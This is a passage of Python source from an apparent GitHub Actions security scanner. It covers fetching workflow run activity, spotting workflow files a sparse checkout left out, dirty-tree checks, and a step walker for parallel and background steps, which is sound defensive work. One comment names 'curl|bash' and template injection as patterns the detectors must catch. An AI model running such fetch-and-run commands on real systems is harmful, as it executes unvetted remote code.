  1169. next.js's only HIGH was silently skipped. Zero REGISTERED runs on a
  1170. reusable workflow is UNKNOWN activity, which is what the `unavailable`
  1171. state already means. A reusable workflow that DOES have registered runs
  1172. keeps its real numbers.
  1173. """
  1174. logger.debug("fetching activity for %s/%s", repo, workflow_basename)
  1175. try:
  1176. from gh_utils import GitHubAPIError, run_gh_api # noqa: E402
  1177. except ImportError as e:
  1178. logger.warning(
  1179. "gh_utils unavailable; skipping activity enrichment: %s", e
  1180. )
  1181. return {"status": "unavailable", "reason": "gh_utils unavailable"}
  1182. endpoint = (
  1183. f"repos/{repo}/actions/workflows/{workflow_basename}/runs"
  1184. f"?per_page={ACTIVITY_RUN_LIMIT}"
  1185. )
  1186. try:
  1187. raw = run_gh_api(endpoint, quiet_not_found=True)
  1188. except GitHubAPIError as e:
  1189. # A 404 here is expected, not a failure: the scanner walks every
  1190. # `.github/workflows/*.yml`, but GitHub only tracks run history for
  1191. # files it registers as runnable workflows. A composite-action
  1192. # `action.yml`, or a workflow never registered on the default branch,
  1193. # returns 404 from the runs endpoint — there is simply no activity to
  1194. # enrich. Log that at DEBUG; reserve WARNING for genuine failures
  1195. # (auth, rate limit, network). Either way activity is reported as
  1196. # unavailable, never silently assumed active.
  1197. is_not_found = "HTTP 404" in str(e) or "Not Found" in str(e)
  1198. (logger.debug if is_not_found else logger.warning)(
  1199. "gh API %s for %s/%s activity: %s",
  1200. "404 — no tracked workflow runs" if is_not_found else "failed",
  1201. repo, workflow_basename, e,
  1202. )
  1203. return {"status": "unavailable", "reason": f"gh API error: {e}"}
  1204. try:
  1205. body = json.loads(raw)
  1206. except json.JSONDecodeError as e:
  1207. logger.warning(
  1208. "gh returned non-JSON for %s/%s activity: %s",
  1209. repo,
  1210. workflow_basename,
  1211. e,
  1212. )
  1213. return {"status": "unavailable", "reason": "gh returned non-JSON"}
  1214. runs = body.get("workflow_runs") or []
  1215. if workflow_call_only and not runs:
  1216. # Not dormant — unknown. See the docstring: GitHub books a reusable
  1217. # workflow's runs against the caller, so an empty list here is an
  1218. # artefact of run attribution, not evidence that the file is idle.
  1219. logger.debug(
  1220. "%s/%s is `workflow_call`-only with no registered runs — activity "
  1221. "unknown (runs are attributed to the calling workflow)",
  1222. repo, workflow_basename,
  1223. )
  1224. return {
  1225. "status": "unavailable",
  1226. "reusable_workflow": True,
  1227. "reason": (
  1228. "reusable workflow (`on: workflow_call` only) — GitHub "
  1229. "attributes its runs to the calling workflow, so its own run "
  1230. "history is empty whether or not it executes"
  1231. ),
  1232. }
  1233. now = _dt.datetime.now(_dt.timezone.utc)
  1234. cutoff_30d = now - _dt.timedelta(days=30)
  1235. cutoff_dormant = now - _dt.timedelta(days=DORMANT_DAYS)
  1236. runs_30d = 0
  1237. last_run: str | None = None
  1238. last_run_dt: _dt.datetime | None = None
  1239. skipped_runs = 0
  1240. for run in runs:
  1241. created = run.get("created_at")
  1242. if not created:
  1243. skipped_runs += 1
  1244. continue
  1245. try:
  1246. created_dt = _dt.datetime.fromisoformat(created.replace("Z", "+00:00"))
  1247. except ValueError:
  1248. skipped_runs += 1
  1249. continue
  1250. if last_run_dt is None or created_dt > last_run_dt:
  1251. last_run_dt = created_dt
  1252. last_run = created
  1253. if created_dt >= cutoff_30d:
  1254. runs_30d += 1
  1255. if skipped_runs:
  1256. logger.warning(
  1257. "Skipped %d runs with missing/unparseable created_at for %s/%s",
  1258. skipped_runs,
  1259. repo,
  1260. workflow_basename,
  1261. )
  1262. dormant = last_run_dt is None or last_run_dt < cutoff_dormant
  1263. activity = {
  1264. "runs_30d": runs_30d,
  1265. "last_run": last_run,
  1266. "dormant": dormant,
  1267. }
  1268. logger.debug(
  1269. " activity: %s runs, last %s",
  1270. activity.get("runs_30d"), activity.get("last_run"),
  1271. )
  1272. return activity
  1273. def _git_commit_sha(root: Path) -> str | None:
  1274. """Return the HEAD SHA of the git repo containing ``root``, or None."""
  1275. try:
  1276. result = subprocess.run(
  1277. ["git", "-C", str(root), "rev-parse", "HEAD"],
  1278. capture_output=True,
  1279. text=True,
  1280. timeout=10,
  1281. )
  1282. if result.returncode == 0:
  1283. sha = result.stdout.strip()
  1284. return sha if sha else None
  1285. except (FileNotFoundError, subprocess.TimeoutExpired):
  1286. pass
  1287. return None
  1288. # Every environment variable that can override which repository a git command acts
  1289. # on. `git -C <dir>` does NOT outrank them, so any probe that must read a specific
  1290. # checkout has to clear them first.
  1291. _GIT_REPO_SELECT_ENV = frozenset({
  1292. "GIT_DIR", "GIT_WORK_TREE", "GIT_INDEX_FILE", "GIT_COMMON_DIR",
  1293. "GIT_OBJECT_DIRECTORY", "GIT_ALTERNATE_OBJECT_DIRECTORIES",
  1294. "GIT_NAMESPACE", "GIT_CEILING_DIRECTORIES", "GIT_DISCOVERY_ACROSS_FILESYSTEM",
  1295. })
  1296. def _workflow_files_absent_from_tree(root: Path) -> list[str]:
  1297. """Workflow files that exist in the audited COMMIT but not in the working tree.
  1298. Everything else in this scanner reasons about the files it can see on disk, so
  1299. a **partial** checkout (``git sparse-checkout``, a partial clone, a file deleted
  1300. without committing) is invisible to it: the detectors run on what is present,
  1301. find nothing in what is absent, and the report renders
  1302. ``✅ complete — every workflow file was scanned``. That is the single most
  1303. dangerous sentence this tool can emit, because it reads as a clean bill of
  1304. health for a repository the scan never looked at. It is the same failure the
  1305. network-gated impostor check already refuses to commit ("a skipped check is
  1306. NOT a pass"), one layer down.
  1307. Asking git for the commit's own tree is the only reliable way to see the gap:
  1308. ``git ls-tree`` reads the object database, so it lists files a sparse checkout
  1309. left out of the working tree entirely. Files that ARE present are handled by
  1310. ``_probe_scannability``; this only reports absence.
  1311. Returns repo-relative paths, sorted. Empty when the tree is complete, when
  1312. ``root`` is not a git checkout, or when git cannot answer — an inconclusive
  1313. probe must never manufacture a coverage gap, since that would degrade every
  1314. report run outside a git checkout.
  1315. """
  1316. # `git -C` selects a working DIRECTORY, not a repository: an inherited absolute
  1317. # GIT_DIR / GIT_WORK_TREE outranks it and would point this probe at some other
  1318. # repository entirely. That repo's tree lists no workflows, the probe reports no
  1319. # gap, and a partial checkout renders "complete coverage" again — the very bug
  1320. # this function exists to prevent, restored silently by an environment variable.
  1321. # git hooks and `git worktree` commands both export these, so scrub every
  1322. # repository-selection variable and let `-C` decide.
  1323. env = {k: v for k, v in os.environ.items() if k not in _GIT_REPO_SELECT_ENV}
  1324. try:
  1325. result = subprocess.run(
  1326. ["git", "-C", str(root), "ls-tree", "-r", "--name-only", "-z",
  1327. "HEAD", "--", ".github/workflows"],
  1328. capture_output=True, text=True, timeout=10, env=env,
  1329. )
  1330. except (FileNotFoundError, subprocess.TimeoutExpired):
  1331. return []
  1332. if result.returncode != 0:
  1333. return []
  1334. absent = []
  1335. for rel in result.stdout.split("\0"):
  1336. rel = rel.strip()
  1337. # Match the discovery surface: only files `all_workflow_files` would have
  1338. # picked up, so a stray README in .github/workflows/ is not a "gap".
  1339. if not rel or not rel.endswith((".yml", ".yaml")):
  1340. continue
  1341. if not (root / rel).is_file():
  1342. absent.append(rel)
  1343. if absent:
  1344. logger.warning(
  1345. "coverage gap: %d workflow file(s) in the audited commit are absent "
  1346. "from the working tree (partial/sparse checkout) and were NOT scanned",
  1347. len(absent),
  1348. )
  1349. return sorted(absent)
  1350. def _skill_commit_sha() -> str | None:
  1351. """Return the HEAD SHA of the git repo containing this script.
  1352. Used to build content-addressable permalinks into the catalog so
  1353. reports never go stale when headings or files are renamed.
  1354. """
  1355. return _git_commit_sha(_THIS_DIR)
  1356. def _skill_tree_dirty() -> bool:
  1357. """True if the skill's tracked source has uncommitted changes vs HEAD.
  1358. ``_skill_commit_sha()`` returns the committed HEAD, which silently ignores
  1359. edits sitting in the working tree — so a report can record an older commit
  1360. than the code that actually produced it (this exact gap once made a report
  1361. claim a stale commit and derailed a review). Flagging a dirty tree keeps
  1362. the recorded ``skill commit`` honest. The ``reports/`` output dir is
  1363. excluded: the e2e harness writes generated reports into it, which is not a
  1364. change to the code that ran.
  1365. """
  1366. skill_dir = _THIS_DIR.parent # skills/ci-secure/
  1367. try:
  1368. result = subprocess.run(
  1369. ["git", "-C", str(skill_dir), "status", "--porcelain", "--", "."],
  1370. capture_output=True, text=True, timeout=10,
  1371. )
  1372. if result.returncode != 0:
  1373. return False
  1374. except (FileNotFoundError, subprocess.TimeoutExpired):
  1375. return False
  1376. for raw in result.stdout.splitlines():
  1377. path = raw[3:].strip() # porcelain v1: "XY <path>", relative to skill_dir
  1378. if " -> " in path: # rename: take the destination
  1379. path = path.split(" -> ", 1)[1]
  1380. path = path.strip('"') # git quotes paths with spaces/special chars
  1381. if not path or path.startswith("reports/"):
  1382. continue
  1383. return True
  1384. return False
  1385. def _repo_tree_dirty(root: Path) -> bool:
  1386. """True if the AUDITED checkout has uncommitted or untracked changes.
  1387. ``commit_sha`` records HEAD, which says nothing about edits sitting in the
  1388. working tree — so a report can present a permalink at a commit whose bytes
  1389. are not the bytes that were scanned. report.py renders a "tree was dirty"
  1390. caveat on the audited-commit row when this is true (the convention ci-score
  1391. already uses). Unknown (git missing, not a checkout) reports not-dirty:
  1392. the commit row itself already says when no commit could be resolved.
  1393. """
  1394. try:
  1395. result = subprocess.run(
  1396. ["git", "-C", str(root), "status", "--porcelain"],
  1397. capture_output=True, text=True, timeout=10,
  1398. )
  1399. except (FileNotFoundError, subprocess.TimeoutExpired):
  1400. return False
  1401. if result.returncode != 0:
  1402. return False
  1403. return bool(result.stdout.strip())
  1404. def _path_matches_any_glob(rel_path: str, globs: list[str]) -> bool:
  1405. for g in globs:
  1406. if fnmatch.fnmatch(rel_path, g):
  1407. return True
  1408. return False
  1409. # =============================================================================
  1410. # yaml-job-correlated, yaml-workflow-correlated, repo-file-check
  1411. # =============================================================================
  1412. #
  1413. # Each pattern using these detector classes names a built-in
  1414. # "correlation" or "file_check" identifier in its METADATA. The
  1415. # identifier maps to a Python function below. Keeps METADATA short
  1416. # (one key) while letting the catalog opt into specific predicates
  1417. # without growing a DSL.
  1418. def _job_step_uses_prefixes(job: dict[str, Any], prefixes: tuple[str, ...]) -> list[int]:
  1419. """Return 1-based ordinals, in walker (leaf) order, of the steps whose
  1420. `uses:` starts with any prefix — not `steps:` positions."""
  1421. hits: list[int] = []
  1422. for i, step in enumerate(_job_steps(job), start=1):
  1423. uses = step.get("uses", "")
  1424. if isinstance(uses, str) and any(uses.startswith(p) for p in prefixes):
  1425. hits.append(i)
  1426. return hits
  1427. def _job_uses_cache(job: dict[str, Any]) -> bool:
  1428. """Return True when the job restores or writes the shared cache.
  1429. Covers `actions/cache@*`, `actions/cache/restore@*`, `actions/cache/save@*`,
  1430. `actions/setup-{node,python,go,java,ruby,dotnet}` with `cache:` input,
  1431. `pnpm/action-setup`, and `gradle/actions/setup-gradle`.
  1432. """
  1433. if _job_step_uses_prefixes(
  1434. job,
  1435. ("actions/cache@", "actions/cache/", "pnpm/action-setup", "gradle/actions/setup-gradle"),
  1436. ):
  1437. return True
  1438. for step in _job_steps(job):
  1439. uses = step.get("uses", "")
  1440. if not isinstance(uses, str):
  1441. continue
  1442. if any(
  1443. uses.startswith(p)
  1444. for p in (
  1445. "actions/setup-node@",
  1446. "actions/setup-python@",
  1447. "actions/setup-go@",
  1448. "actions/setup-java@",
  1449. "actions/setup-ruby@",
  1450. "actions/setup-dotnet@",
  1451. )
  1452. ):
  1453. with_block = step.get("with") or {}
  1454. if isinstance(with_block, dict) and with_block.get("cache"):
  1455. return True
  1456. return False
  1457. def _walk_jobs(doc: Any) -> Iterator[tuple[str, dict[str, Any]]]:
  1458. jobs = doc.get("jobs") if isinstance(doc, dict) else None
  1459. if not isinstance(jobs, dict):
  1460. return
  1461. for job_name, job in jobs.items():
  1462. if isinstance(job, dict):
  1463. yield str(job_name), job
  1464. # --- the one step walker -----------------------------------------------------
  1465. #
  1466. # GitHub Actions parallel steps (2026-06-25): a step may be `- parallel:`
  1467. # followed by a LIST of ordinary child steps, and a job may carry pure control
  1468. # steps (`wait:`, `wait-all:`, `cancel:`) with no `run:` and no `uses:`. The
  1469. # `parallel:` entry itself has neither key, so every detector that walked
  1470. # `job.steps` as a flat list skipped every child step in silence — a template
  1471. # injection or a curl|bash written inside a parallel group read as clean.
  1472. # Every detector that walks a job's steps reads them through
  1473. # `_iter_job_steps`, so the next step syntax is taught in three walkers that
  1474. # must agree (`_iter_job_steps`, its node twin `_iter_step_nodes`, and
  1475. # `_step_spans`, which pairs the two), not twenty.
  1476. _PARALLEL_KEY = "parallel"
  1477. _PARALLEL_CONTROL_KEYS = frozenset({"wait", "wait-all", "cancel"})
  1478. @dataclass(frozen=True)
  1479. class _JobStep:
  1480. """One leaf step, as the job declares it."""
  1481. step: dict[str, Any]
  1482. path: tuple[int, ...] # 0-based index at each nesting level
  1483. in_parallel_group: bool
  1484. # Possibly running in the background: the step, or a group holding it,
  1485. # carries any `background:` value but a literal `false` (fail safe).
  1486. background: bool
  1487. group: dict[str, Any] | None # innermost enclosing `parallel:` entry
  1488. # Every enclosing `parallel:` entry, outermost first.
  1489. groups: tuple[dict[str, Any], ...] = ()
  1490. # The `id:` a top-level `wait:` names to join this background step: its
  1491. # own when it is itself background, else the innermost background group's.
  1492. background_id: Any = None
  1493. @property
  1494. def gated(self) -> bool:
  1495. """The step, or a parallel group holding it, has its own `if:`."""
  1496. return self.step.get("if") is not None or any(
  1497. g.get("if") is not None for g in self.groups)
  1498. @property
  1499. def group_continue_on_error(self) -> bool:
  1500. """A group holding the step is written `continue-on-error: true`; a
  1501. failure of the step is then swallowed as surely as its own would be."""
  1502. return any(g.get("continue-on-error") is True for g in self.groups)
  1503. @property
  1504. def label(self) -> str:
  1505. """1-based position, dotted through groups: step 3.2 = group 3, child 2."""
  1506. return ".".join(str(i + 1) for i in self.path)
  1507. @dataclass
  1508. class _StepWalkStats:
  1509. """What the walker saw beyond plain steps, for the report to disclose."""
  1510. in_parallel: int = 0
  1511. control: int = 0
  1512. background: int = 0
  1513. # (dotted step label, shape) per group the walker could not read as
  1514. # written; shape is one of the _GROUP_* constants below.
  1515. malformed: list[tuple[str, str]] | None = None
  1516. _GROUP_NOT_A_LIST = "not-a-list"
  1517. _GROUP_TOO_DEEP = "too-deep"
  1518. _GROUP_ALSO_A_STEP = "also-a-step"
  1519. _GROUP_ALSO_A_STEP_NOT_A_LIST = "also-a-step-not-a-list"
  1520. _GROUP_ALSO_A_STEP_TOO_DEEP = "also-a-step-too-deep"
  1521. _GROUP_CHILD_NOT_A_STEP = "child-not-a-step"
  1522. _GROUP_UNKNOWN_KEY = "unknown-key"
  1523. _STEP_BACKGROUND_EXPRESSION = "background-expression"
  1524. # Keys on a `parallel:` entry this scan models. GitHub has not documented
  1525. # which keys a group accepts; any other key is disclosed, not ignored.
  1526. _GROUP_KNOWN_KEYS = frozenset({_PARALLEL_KEY, "if", "name", "id",
  1527. "continue-on-error", "background"})
  1528. def _may_run_in_background(entry: dict[str, Any]) -> bool:
  1529. """Fail safe: only an absent `background:` or a literal `false` proves the
  1530. entry finishes before the next step; `"true"`, `null` and an expression
  1531. all may leave it running."""
  1532. return "background" in entry and entry["background"] is not False
  1533. def _note_background_expression(stats: _StepWalkStats | None,
  1534. path: tuple[int, ...],
  1535. entry: dict[str, Any]) -> None:
  1536. value = entry.get("background")
  1537. if isinstance(value, str) and "${{" in value:
  1538. _note_malformed(stats, path, _STEP_BACKGROUND_EXPRESSION)
  1539. def _is_parallel_group(step: dict[str, Any]) -> bool:
  1540. return _PARALLEL_KEY in step and "run" not in step and "uses" not in step
  1541. def _is_step_with_group(step: dict[str, Any]) -> bool:
  1542. """`parallel:` beside `run:` / `uses:` — not a shape GitHub accepts. Its
  1543. own command is scanned as a step AND its children are walked, so neither
  1544. half hides behind the other."""
  1545. return _PARALLEL_KEY in step and ("run" in step or "uses" in step)
  1546. def _note_malformed(stats: _StepWalkStats | None, path: tuple[int, ...],
  1547. shape: str) -> None:
  1548. if stats is not None:
  1549. if stats.malformed is None:
  1550. stats.malformed = []
  1551. stats.malformed.append((".".join(str(n + 1) for n in path), shape))
  1552. def _is_control_step(step: dict[str, Any]) -> bool:
  1553. return ("run" not in step and "uses" not in step
  1554. and _PARALLEL_KEY not in step
  1555. and any(k in step for k in _PARALLEL_CONTROL_KEYS))
  1556. def _iter_job_steps(
  1557. job: Any, stats: _StepWalkStats | None = None,
  1558. ) -> Iterator[_JobStep]:
  1559. """Every leaf step of a job, in declaration order.
  1560. Descends into `parallel:` lists (nesting is not documented by GitHub; it
  1561. is descended anyway: skipping it would be the silent drop this walker
  1562. exists to end). Control steps carry nothing to scan and are
  1563. skipped, but counted in ``stats``. A `parallel:` whose value is not a list,
  1564. or that sits ``_WALK_MAX_DEPTH`` groups deep, cannot be read; a `parallel:`
  1565. beside `run:` / `uses:` is read both ways (the step itself, then its
  1566. children). All three are recorded in ``stats.malformed`` — the caller that
  1567. owns disclosure turns each into a coverage note, never a clean step.
  1568. """
  1569. steps = job.get("steps") if isinstance(job, dict) else None
  1570. if isinstance(steps, list):
  1571. yield from _iter_step_list(steps, (), (), stats, 0,
  1572. _WalkGuard({id(steps)}))
  1573. # A YAML alias can make a step list hold itself (`steps: &s [..., {parallel:
  1574. # *s}]`), or hold the level below it twice at every level: the depth cap alone
  1575. # bounds neither (2**64 leaves). Each walk of one job therefore refuses to
  1576. # re-enter a list already on its path, and stops descending once it has
  1577. # visited `_WALK_MAX_ENTRIES` entries. Both walkers apply the same guard at the
  1578. # same points, entry for entry, so they stay in lockstep.
  1579. _WALK_MAX_ENTRIES = 10_000
  1580. _GROUP_CYCLE = "cycle"
  1581. _GROUP_OVER_BUDGET = "over-budget"
  1582. @dataclass
  1583. class _WalkGuard:
  1584. on_path: set[int]
  1585. entries: int = 0
  1586. over_budget_noted: bool = False
  1587. def blocked(self, children: Any) -> str | None:
  1588. """Why this group's children must not be descended, if they must not."""
  1589. if id(children) in self.on_path:
  1590. return _GROUP_CYCLE
  1591. if self.entries >= _WALK_MAX_ENTRIES:
  1592. return _GROUP_OVER_BUDGET
  1593. return None
  1594. def _note_blocked(stats: _StepWalkStats | None, path: tuple[int, ...],
  1595. guard: _WalkGuard, why: str) -> None:
  1596. if why == _GROUP_OVER_BUDGET:
  1597. if guard.over_budget_noted: # one note per walk, not thousands
  1598. return
  1599. guard.over_budget_noted = True
  1600. _note_malformed(stats, path, why)
  1601. def _iter_step_list(
  1602. steps: list[Any], prefix: tuple[int, ...],
  1603. groups: tuple[dict[str, Any], ...], stats: _StepWalkStats | None,
  1604. depth: int, guard: _WalkGuard,
  1605. ) -> Iterator[_JobStep]:
  1606. group = groups[-1] if groups else None
  1607. for i, step in enumerate(steps):
  1608. guard.entries += 1
  1609. path = prefix + (i,)
  1610. if not isinstance(step, dict):
  1611. if group is not None:
  1612. # A nested list or a bare string inside a group is not a
  1613. # step; skipping it in silence read it as clean.
  1614. _note_malformed(stats, path, _GROUP_CHILD_NOT_A_STEP)
  1615. continue
  1616. if _is_parallel_group(step):
  1617. if any(k not in _GROUP_KNOWN_KEYS for k in step):
  1618. _note_malformed(stats, path, _GROUP_UNKNOWN_KEY)
  1619. _note_background_expression(stats, path, step)
  1620. children = step.get(_PARALLEL_KEY)
  1621. if not isinstance(children, list):
  1622. _note_malformed(stats, path, _GROUP_NOT_A_LIST)
  1623. elif depth >= _WALK_MAX_DEPTH:
  1624. _note_malformed(stats, path, _GROUP_TOO_DEEP)
  1625. elif (why := guard.blocked(children)) is not None:
  1626. _note_blocked(stats, path, guard, why)
  1627. else:
  1628. guard.on_path.add(id(children))
  1629. yield from _iter_step_list(children, path, groups + (step,),
  1630. stats, depth + 1, guard)
  1631. guard.on_path.discard(id(children))
  1632. continue
  1633. if _is_control_step(step):
  1634. if stats is not None:
  1635. stats.control += 1
  1636. continue
  1637. _note_background_expression(stats, path, step)
  1638. own_background = _may_run_in_background(step)
  1639. background_id = step.get("id") if own_background else next(
  1640. (g.get("id") for g in reversed(groups)
  1641. if _may_run_in_background(g)), None)
  1642. background = own_background or any(
  1643. _may_run_in_background(g) for g in groups)
  1644. if stats is not None:
  1645. stats.in_parallel += group is not None
  1646. # A group's child is counted in `in_parallel` only, background
  1647. # or not (scan-output.md), so no step is counted twice.
  1648. stats.background += own_background and group is None
  1649. yield _JobStep(step=step, path=path, in_parallel_group=group is not None,
  1650. background=background, group=group, groups=groups,
  1651. background_id=background_id)
  1652. if _is_step_with_group(step):
  1653. children = step.get(_PARALLEL_KEY)
  1654. if not isinstance(children, list):
  1655. _note_malformed(stats, path, _GROUP_ALSO_A_STEP_NOT_A_LIST)
  1656. elif depth >= _WALK_MAX_DEPTH:
  1657. _note_malformed(stats, path, _GROUP_ALSO_A_STEP_TOO_DEEP)
  1658. elif (why := guard.blocked(children)) is not None:
  1659. _note_blocked(stats, path, guard, why)
  1660. else:
  1661. _note_malformed(stats, path, _GROUP_ALSO_A_STEP)
  1662. guard.on_path.add(id(children))
  1663. yield from _iter_step_list(children, path, groups + (step,),
  1664. stats, depth + 1, guard)
  1665. guard.on_path.discard(id(children))
  1666. def _job_steps(job: Any) -> list[dict[str, Any]]:
  1667. """The leaf step dicts of a job, for callers that need nothing else."""
  1668. return [s.step for s in _iter_job_steps(job)]
  1669. # Declaration order is not execution order once a job uses `parallel:` or
  1670. # `background:`. Siblings in one group run at the same time (the group ends
  1671. # with an implicit wait, so they are finished before the next top-level step),
  1672. # and a background step keeps running past the steps declared after it until
  1673. # a top-level `wait-all:` (empty or literally `true`) or a `wait:` naming its
  1674. # `id` (anything else — `cancel:`, `wait-all: false`, an expression — is
  1675. # treated as still running: fail safe). A step is background when it, or a
  1676. # group holding it, carries any `background:` value but a literal `false`. A
  1677. # child that is itself background is treated as running past the group's end,
  1678. # until a top-level wait (fail safe). The detectors that reason about ORDER
  1679. # answer with this, and over-report rather than miss: "did X run after the
  1680. # checkout/fetch?" counts a concurrent X as after, and "did protection P
  1681. # finish before the install?" counts P only when it is declared earlier AND
  1682. # not concurrent with the install. With neither syntax present nothing is
  1683. # concurrent and every answer is the declaration order.
  1684. @dataclass(frozen=True)
  1685. class _StepTiming:
  1686. top: int # index of the top-level `steps:` entry
  1687. grouped: bool # a child of a `parallel:` group
  1688. # background only: index of the top-level wait that joins it, or
  1689. # len(steps) when none does; None when not background.
  1690. until: int | None
  1691. def _joins_all(control: dict[str, Any]) -> bool:
  1692. """`wait-all:` written empty or literally `true`; `false` or an
  1693. expression proves nothing has finished."""
  1694. return "wait-all" in control and control["wait-all"] in (None, True)
  1695. def _step_timing(job_step: _JobStep, steps: list[Any]) -> _StepTiming:
  1696. top = job_step.path[0]
  1697. until: int | None = None
  1698. if job_step.background:
  1699. until = len(steps)
  1700. sid = job_step.background_id
  1701. for j in range(top + 1, len(steps)):
  1702. s = steps[j]
  1703. if not (isinstance(s, dict) and _is_control_step(s)):
  1704. continue
  1705. waits = s.get("wait")
  1706. waits = waits if isinstance(waits, list) else [waits]
  1707. if _joins_all(s) or (
  1708. sid is not None and str(sid) in [str(w) for w in waits]):
  1709. until = j
  1710. break
  1711. return _StepTiming(top, job_step.in_parallel_group, until)
  1712. def _steps_concurrent(a: _StepTiming, b: _StepTiming) -> bool:
  1713. """Two DIFFERENT leaf steps of one job may be running at the same time."""
  1714. if a.top > b.top:
  1715. a, b = b, a
  1716. if a.top == b.top:
  1717. return a.grouped and b.grouped
  1718. return a.until is not None and b.top < a.until
  1719. def _job_step_timings(job: Any) -> list[tuple[_JobStep, _StepTiming]]:
  1720. steps = job.get("steps") if isinstance(job, dict) else None
  1721. if not isinstance(steps, list):
  1722. return []
  1723. return [(s, _step_timing(s, steps)) for s in _iter_job_steps(job)]
  1724. @dataclass(frozen=True)
  1725. class _StepSpan:
  1726. """A leaf step's source lines, with its timing, for line-based detectors."""
  1727. job: str
  1728. start_line: int
  1729. end_line: int
  1730. timing: _StepTiming
  1731. def _step_spans(text: str,
  1732. unmatched: list[str] | None = None) -> list[_StepSpan]:
  1733. """Every leaf step's source span, for each job that holds at least one
  1734. grouped or background step.
  1735. Empty (and nothing is parsed) unless the text contains the word
  1736. `parallel` or `background`, so plain workflows keep their exact
  1737. behaviour. Jobs are found by `_job_nodes` (keyed as the loader keys them)
  1738. and keys resolve through `_node_keys`, so `<<:` merges at the job or the
  1739. step level are followed; each leaf is paired by position with its node
  1740. from `_iter_step_nodes`, the lockstep twin of `_iter_job_steps`. A job
  1741. that holds concurrent steps but whose nodes cannot be paired is named in
  1742. ``unmatched`` — its concurrency would otherwise fall back to declaration
  1743. order in silence.
  1744. """
  1745. if "parallel" not in text and "background" not in text:
  1746. return []
  1747. try:
  1748. doc = yaml.safe_load(text)
  1749. except yaml.YAMLError:
  1750. return []
  1751. if not (isinstance(doc, dict) and isinstance(doc.get("jobs"), dict)):
  1752. return []
  1753. job_nodes = _job_nodes(text)
  1754. out: list[_StepSpan] = []
  1755. for name, job in doc["jobs"].items():
  1756. timings = _job_step_timings(job)
  1757. if not any(t.grouped or t.until is not None for _, t in timings):
  1758. continue
  1759. job_node = job_nodes.get(name)
  1760. nodes = list(_iter_step_nodes(
  1761. _node_keys(job_node).get("steps")
  1762. if isinstance(job_node, yaml.MappingNode) else None))
  1763. if len(nodes) != len(timings):
  1764. if unmatched is not None:
  1765. unmatched.append(str(name))
  1766. continue
  1767. for (_, timing), node in zip(timings, nodes):
  1768. out.append(_StepSpan(str(name), node.start_mark.line + 1,
  1769. node.end_mark.line + 1, timing))
  1770. return out
  1771. def _lines_concurrent(spans: list[_StepSpan], a: int, b: int) -> bool:
  1772. """The steps holding source lines `a` and `b` may run at the same time.
  1773. Lines of ONE step are ordered by line as before."""
  1774. def _at(line: int) -> _StepSpan | None:
  1775. # A node's end mark can sit on the next step's first line, so the
  1776. # last span in declaration order that CONTAINS the line is the one
  1777. # holding it.
  1778. return next((s for s in reversed(spans)
  1779. if s.start_line <= line <= s.end_line), None)
  1780. sa, sb = _at(a), _at(b)
  1781. return (sa is not None and sb is not None and sa is not sb
  1782. and sa.job == sb.job and _steps_concurrent(sa.timing, sb.timing))
  1783. def _iter_step_nodes(steps_node: Any, depth: int = 0,
  1784. guard: _WalkGuard | None = None) -> Iterator[Any]:
  1785. """The composed-node twin of `_iter_job_steps`: every leaf step MappingNode
  1786. of a `steps:` SequenceNode, in order, descending into `parallel:` lists, so
  1787. a child step's source line is the child's own. Must yield exactly the
  1788. leaves `_iter_step_list` yields, in the same order, with the same depth
  1789. cap and the same `_WalkGuard` (cycle and entry budget): line attribution
  1790. pairs the two by position."""
  1791. if not isinstance(steps_node, yaml.SequenceNode):
  1792. return
  1793. if guard is None:
  1794. guard = _WalkGuard({id(steps_node)})
  1795. def _descend(children: Any) -> Iterator[Any]:
  1796. if not isinstance(children, yaml.SequenceNode) \
  1797. or depth >= _WALK_MAX_DEPTH or guard.blocked(children):
  1798. return
  1799. guard.on_path.add(id(children))
  1800. yield from _iter_step_nodes(children, depth + 1, guard)
  1801. guard.on_path.discard(id(children))
  1802. for node in steps_node.value:
  1803. guard.entries += 1
  1804. if not isinstance(node, yaml.MappingNode):
  1805. continue
  1806. keys = _node_keys(node)
  1807. if _PARALLEL_KEY in keys and "run" not in keys and "uses" not in keys:
  1808. yield from _descend(keys[_PARALLEL_KEY])
  1809. continue
  1810. if "run" not in keys and "uses" not in keys \
  1811. and any(k in keys for k in _PARALLEL_CONTROL_KEYS):
  1812. continue
  1813. yield node
  1814. if _PARALLEL_KEY in keys:
  1815. yield from _descend(keys[_PARALLEL_KEY])
  1816. def _node_keys(node: Any) -> dict[Any, Any]:
  1817. """A composed mapping's keys, with `<<:` merges resolved the way the
  1818. loader resolves them (own keys win, then earlier merge sources), so the
  1819. node walker sees the same shape as the loaded dict."""
  1820. own: dict[Any, Any] = {}
  1821. merged: dict[Any, Any] = {}
  1822. for k, v in node.value:
  1823. key = getattr(k, "value", None)
  1824. if key == "<<" and getattr(k, "tag", "") == "tag:yaml.org,2002:merge":
  1825. sources = v.value if isinstance(v, yaml.SequenceNode) else [v]
  1826. for src in sources:
  1827. if isinstance(src, yaml.MappingNode):
  1828. for mk, mv in _node_keys(src).items():
  1829. merged.setdefault(mk, mv)
  1830. else:
  1831. own[key] = v
  1832. merged.update(own)
  1833. return merged
  1834. def _job_nodes(text: str) -> dict[Any, Any]:
  1835. """Each job's composed node, keyed exactly as `yaml.safe_load` keys the
  1836. job (a `yes:` job is `True`, not "yes"), with `<<:` merges and duplicate
  1837. keys resolved the way the loader resolves them. Empty when the text does
  1838. not compose."""
  1839. try:
  1840. root = yaml.compose(text)
  1841. except yaml.YAMLError:
  1842. return {}
  1843. jobs = _node_keys(root).get("jobs") if isinstance(
  1844. root, yaml.MappingNode) else None
  1845. if not isinstance(jobs, yaml.MappingNode):
  1846. return {}
  1847. loader = yaml.SafeLoader("")
  1848. own: dict[Any, Any] = {}
  1849. merged: dict[Any, Any] = {}
  1850. def _key(k: Any) -> Any:
  1851. try:
  1852. key = loader.construct_object(k, deep=True)
  1853. hash(key)
  1854. return key
  1855. except Exception: # unhashable or unconstructable
  1856. return None
  1857. for k, v in jobs.value:
  1858. if getattr(k, "tag", "") == "tag:yaml.org,2002:merge":
  1859. sources = v.value if isinstance(v, yaml.SequenceNode) else [v]
  1860. for src in sources:
  1861. if isinstance(src, yaml.MappingNode):
  1862. for mk, mv in src.value:
  1863. merged.setdefault(_key(mk), mv)
  1864. continue
  1865. own[_key(k)] = v
  1866. merged.update(own)
  1867. merged.pop(None, None)
  1868. return merged
  1869. # Raw-text checks read a file's text whatever its step shape, so text the
  1870. # walker could not read as steps may still have been matched by one of them;
  1871. # no sentence here claims that NO detector saw it.
